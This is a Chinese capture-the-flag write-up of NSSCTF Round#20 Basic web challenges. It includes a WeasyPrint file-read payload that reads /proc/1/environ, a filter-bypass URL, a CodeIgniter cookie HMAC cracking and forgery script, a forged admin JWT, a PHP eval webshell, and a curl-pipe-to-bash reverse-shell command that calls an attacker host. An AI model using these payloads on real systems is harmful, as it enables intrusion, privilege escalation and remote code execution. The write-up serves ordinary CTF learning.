NSSRound#20 Basic-web专项
首先是难以评价的web签到。
给了个假页面,出题人发了blog可以看看:
NSSCTF Round#20 Basic 真亦假,假亦真 CSDN_To_PDF V1.2 出题笔记 (附wp+源码)-CSDN博客
看起来是php,结果是java写的(emmmmmmm....出题人你6,还真是无java不web啊),让我想起了冬季春秋杯有个题,也是php的页面,但是是python写的flask,最后是爆cookie好像hhhh,给我们队的人都恶心坏了,不知道出题人的灵感是不是来自这里。
package org.nss.nss_true_boot01; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController public class TestController { @GetMapping("/") @ResponseBody public String index() { return "<!DOCTYPE html>" + "<html>" + "<head><title>签到题题题</title></head>" + "<body>" + "<h1>" + "签到题,直接送大家shell了,做好事不留名,我叫Jay17(6s后页面跳转)<br>" + "</h1>" + "<script>" + "setTimeout(function() {" + " window.location.href = '/shell.php';" + "}, 6000);" + "</script>" + "</body>" + "</html>"; } @GetMapping("/shell.php") public String shell(){ String htmlContent = "<!DOCTYPE html>" + "<html>" + "<body>" + "<code><span style=\"color: #000000\">" + "<span style=\"color: #0000BB\"><?</span><span style=\"color: #DD0000\">php</span><br />" + "error_reporting</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">0</span><span style=\"color: #007700\">);" + "<br /></span><span style=\"color: #0000BB\">header</span><span style=\"color: #007700\">(</span><span style=\"color: #DD0000\">" + "'Content-Type: text/html; charset=utf-8'</span><span style=\"color: #007700\">);" + "<br /></span><span style=\"color: #0000BB\">highlight_file</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">" + "__FILE__</span><span style=\"color: #007700\">);" + "<br /><br /></span><span style=\"color: #FF8000\">//标准一句话木马~" + "<br /></span><span style=\"color: #007700\">eval(</span><span style=\"color: #0000BB\">$_POST</span><span style=\"color: #007700\">[" + "</span><span style=\"color: #0000BB\">1</span><span style=\"color: #007700\">]);" + "<br /></span><span style=\"color: #0000BB\">?></span>" + "</span>" + "</code>" + "</body>" + "</html>"; return htmlContent; } @PostMapping("/shell.php") public String shellhhhh(){ String htmlContent = "<!DOCTYPE html>" + "<html>" + "<body>" + "<code><span style=\"color: #000000\">" + "<span style=\"color: #0000BB\"><?</span><span style=\"color: #DD0000\">php</span><br />" + "error_reporting</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">0</span><span style=\"color: #007700\">);" + "<br /></span><span style=\"color: #0000BB\">header</span><span style=\"color: #007700\">(</span><span style=\"color: #DD0000\">" + "'Content-Type: text/html; charset=utf-8'</span><span style=\"color: #007700\">);" + "<br /></span><span style=\"color: #0000BB\">highlight_file</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">" + "__FILE__</span><span style=\"color: #007700\">);" + "<br /><br /></span><span style=\"color: #FF8000\">//标准一句话木马~" + "<br /></span><span style=\"color: #007700\">eval(</span><span style=\"color: #0000BB\">$_POST</span><span style=\"color: #007700\">[" + "</span><span style=\"color: #0000BB\">1</span><span style=\"color: #007700\">]);" + "<br /></span><span style=\"color: #0000BB\">?></span>" + "</span>" + "</code>" + "真是shell我能给你?"+ "</body>" + "</html>"; return htmlContent; } @GetMapping("/flag") public String flag(){ return "真是shell我能给你?不过flag真给你,师傅们玩的愉快~:NSS{Checkin_h4v3_4_g00D_tINNe!}"; } }
然后一打flag就有了。
CSDN_To_PDF V1.2
这道题可以说一下,打开是一个csdn页面转pdf的东西,虽然转下来的也很垃。
开始我猜测是XSS,我猜html转pdf的解析过程可以把js脚本注入进去,然后XSS成功。
但是没打出来,最后也就不了了之了。
看wp才知道,这道题没到XSS那个程度,只是有点像。
这个站点检测必须要包含blog.csdn.net,但可以创文件夹绕过,而且还把html给置空,这一点我测的时候发现了,所以马上想打可以双写绕过。
http://vps:port/blog.csdn.net/1.hhtmltml
测一下是用什么工具转html为PDF的:
可以看到用的WeasyPrint。
那么搭一个html(据说是老赛棍的直觉读环境变量):
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> </head> <body> <link rel="attachment" href="file:///proc/1/environ"> </body> </html>
然后就会下载output.pdf,直接打不开,用binwalk可以分:
NSSCTF{5e94b5be-3a7c-417c-8c0b-5a688d7712f8}
两道零解题
估计是大赛棍都去打其他比赛了,所以没人做这俩。
baby-Codeigniter
首先是弱密码一试就进去了,admin/123456。
进去看到个文件上传。
然后我就去搜Codeigniter的uploadCVE,然而没有搜到有用的。
所以我就传了个正常的图片上去,提示我不是superadmin。
抓个包看看,把这个cookie解码一下,发现有个权限的设定。
我改了b:0为b:1,然后放包,直接给我退回登录界面了。
那么估计跟后面那段hash字符串有关,如果要提权必须伪造这里的hash。
可以找到:
客户端 session 导致的安全问题 | 离别歌 (leavesongs.com)
dionach/CodeIgniterXor: CodeIgniter <=2.1.4 session cookie decryption vulnerability (github.com)
但是直接爆是不行的。
后来才知道不是用的xor加密,而是hash_hmac加密。
把这个框架设置cookie加密的代码扒一下:
function _set_cookie($cookie_data = NULL) { if (is_null($cookie_data)) { $cookie_data = $this->userdata; } // Serialize the userdata for the cookie $cookie_data = $this->_serialize($cookie_data); if ($this->sess_encrypt_cookie == TRUE) { $cookie_data = $this->CI->encrypt->encode($cookie_data); } $cookie_data .= hash_hmac('sha1', $cookie_data, $this->encryption_key); $expire = ($this->sess_expire_on_close === TRUE) ? 0 : $this->sess_expiration + time(); // Set the cookie setcookie( $this->sess_cookie_name, $cookie_data, $expire, $this->cookie_path, $this->cookie_domain, $this->cookie_secure );
意为:
· _set_cookie 函数接受一个参数 $cookie_data,如果没有传入参数,则默认使用 $this->userdata。 · 首先对 $cookie_data 进行序列化(_serialize 函数的作用)。 · 如果 $this->sess_encrypt_cookie 为 TRUE,则对 $cookie_data 进行加密。 · 添加一个哈希消息验证码,使用 HMAC-SHA1 算法,将其添加到 $cookie_data 末尾。 · 计算 cookie 的过期时间,如果 $this->sess_expire_on_close 为 TRUE,则过期时间为 0,否则为当前时间加上 $this->sess_expiration。 · 最后调用 setcookie 函数来设置 cookie,参数包括 cookie 名称、cookie 数据、过期时间、路径、域和安全选项。
然而环境的sess_encrypt_cookie为false。
登录成功之后,返回给我们了 cookie
,而非 PHPSESSID
,验证信息存储在了客户端,而非服务端,就导致我们可以篡改。
那直接开爆。
用的官方脚本:
import hmac import urllib.parse import hashlib import sys import time def EncryCookie(cookie,secret): cookie = urllib.parse.unquote_plus(cookie) cookielen=len(cookie)-40 cookie = cookie[:cookielen].replace('"superadmin";b:0;}','"superadmin";b:1;}') hmacstr=hmac.new(secret.encode("utf-8"),cookie.encode("utf-8"),hashlib.sha1).hexdigest() return urllib.parse.quote_plus(cookie+hmacstr) def CrackSecret(cookie,secret): cookie = urllib.parse.unquote_plus(cookie) cookielen=len(cookie)-40 hmac_check = cookie[cookielen:] cookie = cookie[:cookielen] hmacstr=hmac.new(secret.encode("utf-8"),cookie.encode("utf-8"),hashlib.sha1).hexdigest() return hmac_check == hmacstr if __name__ == "__main__": cookie = sys.argv[1] secrets = [] with open("secret.txt") as f: secrets = f.readlines() print("开始爆破:") starttime=time.time() for secret in secrets: secret=secret.strip("\n") result = CrackSecret(cookie,secret) if result == True: print("[+]Secret:"+secret) encrycookie=EncryCookie(cookie,secret) print(encrycookie) endtime=time.time() print("耗时:"+str(endtime-starttime)) exit(0) else: print("[-]Secret:"+secret)
secret.txt我也不知道咋来的,没搜到,不知道能不能扫出来,这里我自己写了几个弱密码去碰撞(应该就是123456)。
可以看到已经把一句话木马传上去了,并且给了路径。
更完美的思路看出题人:
CTF-BabyCodeIgniter-Web出题记(1) - N1Rvana's Blog (nlrvana.github.io)
组合拳!
前面没啥,后面一眼jwt。
拿去爆一下:
dirsearch扫一下扫到了两个目录:
/README.md
/.well-known/security.txt
第一个没用,第二个访问得到管理员邮箱:
Administrator@163.com
思路有了,伪造管理员邮箱然后重置密码,就能进后台了。
访问:
http://node6.anna.nssctf.cn:28469/#/reset_token?email=Administrator@163.com&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6IkFkbWluaXN0cmF0b3JAMTYzLmNvbSIsInR5cGUiOjN9.gLGJ466r0f-Pr6a7ie9eKvTuupQ-vrCklcJEdIWIPwA
注意伪造的时候别出现空格,我第一次就是输邮箱多输了个空格然后重置不了,开始怀疑人生....
此处找到一个资源下载的位置:
解密一下:
按道理来说,这里更新任务就能直接读了,但是有个时间864000s的狗屎时间限制,等它搞完我靶机都关了....
另辟蹊径。
看看js:
google浏览器用着舒服,就没用firefox了。
每当更新任务时,都会调用getKey,生成kyecode:
搜一下这个keycode:
case 8: if (o = r.keycode, o || "string" === typeof o) { t.next = 11; break } return t.abrupt("return", !1); case 11: for (c = [], l = 0; l < n.length; l++) u = 2 * l % o.length, d = parseInt(o.slice(u, u + 2), 16), c.push(n[l].charCodeAt() ^ d); return f = e.from(c), t.abrupt("return", f.toString("base64"));
可以看出,进case 8后,判断如果keycode是string,就跳case11。
return处打断点,测一下(借Z3r4y师傅图一用):
curl反弹shell:
__import__('os').system('curl http://vps:port/bash.html | bash')
html里写bash一句话反弹,然后转base64。
打断点控制台改time交了。
但最后调js的时候始终有问题,我是懒狗,不想再做了,就没继续了,可以去看官方wp。
参考: